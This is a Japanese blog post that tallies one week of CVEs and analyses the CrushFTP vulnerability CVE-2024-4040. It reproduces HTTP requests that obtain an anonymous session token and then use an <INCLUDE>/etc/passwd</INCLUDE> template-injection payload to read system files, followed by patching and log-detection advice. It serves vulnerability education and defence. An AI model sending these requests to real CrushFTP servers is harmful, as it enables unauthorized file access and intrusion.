1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

2024/04/20~2024/04/26に公開されたCVEの件数と個人的に気になったもの

Posted at

はじめに

脆弱性がたまに話題になりますが、一週間の間にいくつの脆弱性が公開されているか知っていますか?

本記事では、2024/04/20~2024/04/26の一週間の間に公開されたCVEの件数とその中で個人的に気になったものについてまとめてみました。

2024/04/20~2024/04/26に公開されたCVE

概要 件数
公開されたCVEの件数 511件
CVSSスコアが7.0以上であるCVEの件数 150件

今回の記事でCVEの件数を調べるのは2回目ですが、今回公開されたCVEの件数は先週の1/2程度でした。今回調べた期間が少ないのか、先週が多かったのか気になりました。

そこで、先々週(2024/04/06~2024/04/12)とさらにその前の週(2024/03/30~2024/04/05)の件数を調べてみましたが、どちらも1000件程度CVEが公開されているようでした。今回公開された脆弱性は少ないようです。

しかし、公開されたCVEの件数は少ないですが、CVE-2024-20353など悪用が確認された脆弱性は多かったです。

気になったもの

期間の中で気になった脆弱性について調べました。

CVE-2024-4040

概要

https://nvd.nist.gov/vuln/detail/CVE-2024-4040

CVSS Base Score: 10

EPSS Score: 1.60%

CrushFTPという、マルチプロトコル、マルチプラットフォームのファイル転送サーバで見つかった脆弱性。

CrushFTPの10.7.1より前と、11.1.0のバージョンには、サーバ側にテンプレートインジェクションの脆弱性があり、認証されていないリモートの攻撃者がVFSサンドボックスの外側のファイルシステムにアクセスすることができます。また、認証をバイパスして管理者権限を取得し、サーバ上でリモートコード実行の可能性があります。

https://www.reddit.com/r/crowdstrike/comments/1c88788/situational_awareness_20240419_crushftp_virtual/

CrowdStrikeは、この脆弱性がゼロデイ脆弱性として実際に悪用されたという投稿をしています。また、インターネットに公開されているCrushFTPのインスタンスは約5.200個あるようです。

詳細(脆弱性の仕組み)

https://attackerkb.com/topics/20oYjlmfXa/cve-2024-4040/rapid7-analysis

上記記事では、CVE-2024-4040の脆弱性について解説しています。

この解説を簡単にまとめると

CrushFTPのあるAPIエンドポイントが匿名ユーザにもトークンを与える処理となっており、そのトークンを使用すれば、匿名ユーザが通常アクセスできないSSTIの脆弱性があるエンドポイントにアクセスできてしまうということです。

匿名ユーザにもトークンが与えられる

下記は匿名ユーザにもトークンを与えるエンドポイントに、アクセスした際のリクエストとレスポンスの一部です。CrushAuthの項目にトークンがあることがわかります。

# 匿名ユーザでエンドポイントにアクセス
GET /WebInterface/ HTTP/1.1
...

# そのレスポンス
HTTP/1.1 404 Not Found
Set-Cookie: currentAuth=vndQ; path=/; secure; SameSite=None
Set-Cookie: CrushAuth=1713821078876_GAZtOk6j6gT7gHjv0pQUygUGixvndQ; path=/; secure; SameSite=None; HttpOnly
...

そして下記は、本来ならば404となるエンドポイントに、このトークンを用いることでアクセスできてしまっているリクエストとレスポンスの一部です。

# 匿名ユーザでアクセストークンを用いてエンドポイントにアクセス
POST /WebInterface/function/?c2f=vndQ&command=zip&path=aaa&names=/bbb HTTP/1.1
Host: localhost
Cookie: CrushAuth=1713821078876_GAZtOk6j6gT7gHjv0pQUygUGixvndQ; c2f=vndQ
...

# そのレスポンス
HTTP/1.1 200 OK
...

<?xml version="1.0" encoding="UTF-8"?> 
<commandResult><response>You need download, upload permissions to zip a file:/bbb
You need upload permissions to zip a file:ubuntu-x64-01
</response></commandResult>

SSTIの脆弱性

そして、このエンドポイントにはSSTIの脆弱性があり、任意コードの実行が可能となります。

下記はSSTIの脆弱性を利用し、/etc/passwdを表示するリクエストとレスポンスの一部です。テンプレートエンジンでは、<INCLUDE>というタグを検索し、その結果から何かしらの処理をしていることがわかります。

# リクエスト
POST /WebInterface/function/?command=zip&c2f=vndQ&path=<INCLUDE>/etc/passwd</INCLUDE>&names=/bbb HTTP/1.1
Host: localhost
Cookie: CrushAuth=1713821078876_GAZtOk6j6gT7gHjv0pQUygUGixvndQ; c2f=vndQ
...

# レスポンス
HTTP/1.1 200 OK
...

<?xml version="1.0" encoding="UTF-8"?> 
<commandResult><response>You need download, upload permissions to zip a file:/bbb
You need upload permissions to zip a file:root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...
</response></commandResult>

対策、検知

脆弱性を修正したバージョンがアップされているので、対策としては、CrushFTPを更新することです。

検知方法としては、SSTIに<INCLUDE>というタグを用いていることから、クエリパラメータやアクセスログに<INCLUDE>がないか見つけることが可能です。

我々、開発者はどうするべきか

この脆弱性から我々開発者は何を学べばよいでしょうか?

この脆弱性の最大のポイントは、匿名ユーザが本来アクセスできないエンドポイントにアクセスできてしまったことだと私は考えます。

エンドポイントにアクセスできるのが認証されているユーザのみであれば、SSTIの脆弱性があったとしても悪用は起こりにくかったはずです。

たとえ、ユーザ認証が必須のエンドポイントに、当たり前ですが脆弱性はあってはならないですね。さらに、セッションの取り扱いにも注意しないといけません。

おわりに

こういった脆弱性がゼロデイで悪用されているのはとても怖いです。

何かおかしな点がありましたらご指摘ください!

また、自分のアウトプット力を高めるためにも定期的にこういった脆弱性調査を行っていきたいと思います!

参考文献

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?